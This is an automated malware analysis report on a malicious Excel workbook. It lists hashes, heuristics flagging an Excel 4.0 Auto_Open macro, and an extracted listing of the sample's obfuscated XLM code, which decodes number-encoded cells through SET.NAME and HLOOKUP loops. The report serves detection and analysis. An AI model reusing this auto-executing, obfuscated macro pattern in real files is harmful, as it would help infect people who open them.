Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 88b8a408f98860df…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:43:04 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: 4414fad4d962bf0c6fe38f6350cda26e SHA-1: ff5bbb3d4c6a6f318600e2f2fe1172c2ebfe1df8 SHA-256: 88b8a408f98860df766f045a4b835048dc9ac30e2d37b5e09bc8d4d951e4b416
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6722 bytes
SHA-256: 1c8e1f2c4f70983d1c5b53d00d412f6a66f79d53465f854ae263cbf3c6e3d0fb
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GqdjIuoY
' 0018     23 LABEL : Cell Value, String Constant - AGEhJSMa len=0 
' 0018     25 LABEL : Cell Value, String Constant - aOpNQLfQQh len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I195 
' 0018     20 LABEL : Cell Value, String Constant - dTwbL len=0 
' 0018     21 LABEL : Cell Value, String Constant - EVQmUs len=0 
' 0018     21 LABEL : Cell Value, String Constant - exRXxY len=0 
' 0018     21 LABEL : Cell Value, String Constant - GtLiyt len=0 
' 0018     27 LABEL : Cell Value, String Constant - hMrwTbsVsSPH len=0 
' 0018     20 LABEL : Cell Value, String Constant - iXkQf len=0 
' 0018     20 LABEL : Cell Value, String Constant - JKLFx len=0 
' 0018     20 LABEL : Cell Value, String Constant - JUaRv len=0 
' 0018     20 LABEL : Cell Value, String Constant - KTMHp len=0 
' 0018     25 LABEL : Cell Value, String Constant - LizHTpkqJq len=0 
' 0018     21 LABEL : Cell Value, String Constant - MQiVeZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - oGMhQFfA len=0 
' 0018     25 LABEL : Cell Value, String Constant - OMiRvKHRDw len=0 
' 0018     25 LABEL : Cell Value, String Constant - pMfSDXNFuC len=0 
' 0018     26 LABEL : Cell Value, String Constant - QWlDpWrcIuR len=0 
' 0018     24 LABEL : Cell Value, String Constant - wtTbjkDWQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - xLFyyiwIyb len=0 
' 0018     24 LABEL : Cell Value, String Constant - ylaCEoqWk len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GqdjIuoY,P51,"",-810.00000000000000000000
'  GqdjIuoY,P52,"",605.00000000000000000000
'  GqdjIuoY,P53,"",-945.00000000000000000000
'  GqdjIuoY,P54,"",515.00000000000000000000
'  GqdjIuoY,P55,"",387.00000000000000000000
'  GqdjIuoY,P56,"",-233.00000000000000000000
'  GqdjIuoY,I102,"SET.NAME("AGEhJSMa",0+VALUE("0"))",""
'  GqdjIuoY,I107,"SET.NAME("exRXxY",AGEhJSMa)",""
'  GqdjIuoY,I112,"SET.NAME("LizHTpkqJq",AGEhJSMa)",""
'  GqdjIuoY,I114,"SET.NAME("xLFyyiwIyb",COUNTA(oGMhQFfA))",""
'  GqdjIuoY,I119,"SET.NAME("MQiVeZ",COUNTA(hMrwTbsVsSPH))",""
'  GqdjIuoY,I122,[],""
'  GqdjIuoY,I125,"SET.NAME("KTMHp","")",""
'  GqdjIuoY,I129,"exRXxY",""
'  GqdjIuoY,I133,"SET.NAME("pMfSDXNFuC",HLOOKUP("*",oGMhQFfA,exRXxY,FALSE))",""
'  GqdjIuoY,I137,"iXkQf",""
'  GqdjIuoY,I139,"SET.NAME("JKLFx",AGEhJSMa)",""
'  GqdjIuoY,I141,[],""
'  GqdjIuoY,I146,"JKLFx",""
'  GqdjIuoY,I151,"JUaRv",""
'  GqdjIuoY,I155,"QWlDpWrcIuR",""
'  GqdjIuoY,I157,"dTwbL",""
'  GqdjIuoY,I159,"SET.NAME("EVQmUs",VALUE(HLOOKUP("*",hMrwTbsVsSPH,dTwbL,FALSE)))",""
'  GqdjIuoY,I164,"aOpNQLfQQh",""
'  GqdjIuoY,I168,"KTMHp",""
'  GqdjIuoY,I173,"LizHTpkqJq",""
'  GqdjIuoY,I178,NEXT(),""
'  GqdjIuoY,I181,"wtTbjkDWQ",""
'  GqdjIuoY,I184,[],""
'  GqdjIuoY,I186,"OMiRvKHRDw",""
'  GqdjIuoY,I188,NEXT(),""
'  GqdjIuoY,I191,RETURN(),""
'  GqdjIuoY,I220,"SET.NAME("GtLiyt",I102)",""
'  GqdjIuoY,I223,"oGMhQFfA",""
'  GqdjIuoY,I227,"SET.NAME("hMrwTbsVsSPH",R66C12)",""
'  GqdjIuoY,I232,"SET.NAME("OMiRvKHRDw",240)",""
'  GqdjIuoY,I234,"SET.NAME("ylaCEoqWk",9)",""
'  GqdjIuoY,I239,GtLiyt(),""
'  GqdjIuoY,I240,HALT(),""

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